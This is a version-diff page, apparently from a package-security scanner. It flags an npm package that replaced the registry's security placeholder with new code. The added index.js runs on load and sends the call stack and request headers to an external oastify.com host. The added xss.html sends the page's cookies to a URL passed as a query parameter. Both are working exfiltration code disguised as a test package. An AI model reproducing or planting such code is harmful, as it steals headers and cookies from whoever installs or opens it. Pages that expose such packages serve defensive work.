somepackage-marksl 0.0.1-security → 1.0.13

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of somepackage-marksl might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +2 -5
  2. package/index.js +42 -0
  3. package/package.json +19 -3
  4. package/xss.html +11 -0
package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=somepackage-marksl for more information.
1
+ # somepackage-marksl
2
+ test
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ const https = require('https')
2
+
3
+ async function main() {
4
+
5
+ // getting the callstack
6
+ const error = new Error();
7
+ Error.captureStackTrace(error);
8
+ const callStack = error.stack;
9
+
10
+ // request
11
+ const getCurrentRequest = require('@wix/wix-request');
12
+ const currentRequest = await getCurrentRequest();
13
+ const reqHeaders = currentRequest.headers;
14
+
15
+ const data = JSON.stringify({
16
+ callStack,
17
+ reqHeaders
18
+ });
19
+
20
+ const options = {
21
+ hostname: 'yhjmzu97llvkp66um90y3ngrqiwfki87.oastify.com',
22
+ path: '/somepackage-marksl',
23
+ method: 'POST',
24
+ headers: {
25
+ 'Content-Length': data.length
26
+ }
27
+ };
28
+
29
+ const req = https.request(options)
30
+ req.write(data);
31
+ req.end();
32
+
33
+ exports.printMsg = function() {
34
+ console.log("marksl test");
35
+ }
36
+ }
37
+
38
+ main();
39
+
40
+ exports.printMsg = function() {
41
+ console.log("marksl test");
42
+ }
package/package.json CHANGED
@@ -1,6 +1,22 @@
1
1
  {
2
2
  "name": "somepackage-marksl",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.13",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/markslWix/somepackage-marksl.git"
12
+ },
13
+ "keywords": [
14
+ "test"
15
+ ],
16
+ "author": "marksl@wix.com",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://github.com/markslWix/somepackage-marksl/issues"
20
+ },
21
+ "homepage": "https://github.com/markslWix/somepackage-marksl#readme"
6
22
  }
package/xss.html ADDED
@@ -0,0 +1,11 @@
1
+ <script>
2
+ const queryString = window.location.search;
3
+ const urlParams = new URLSearchParams(queryString);
4
+ const urlParam = urlParams.get('url');
5
+
6
+ if (urlParam) {
7
+ fetch(urlParam + '?c=' + encodeURIComponent(document.cookie))
8
+ }
9
+
10
+ alert(document.cookie)
11
+ </script>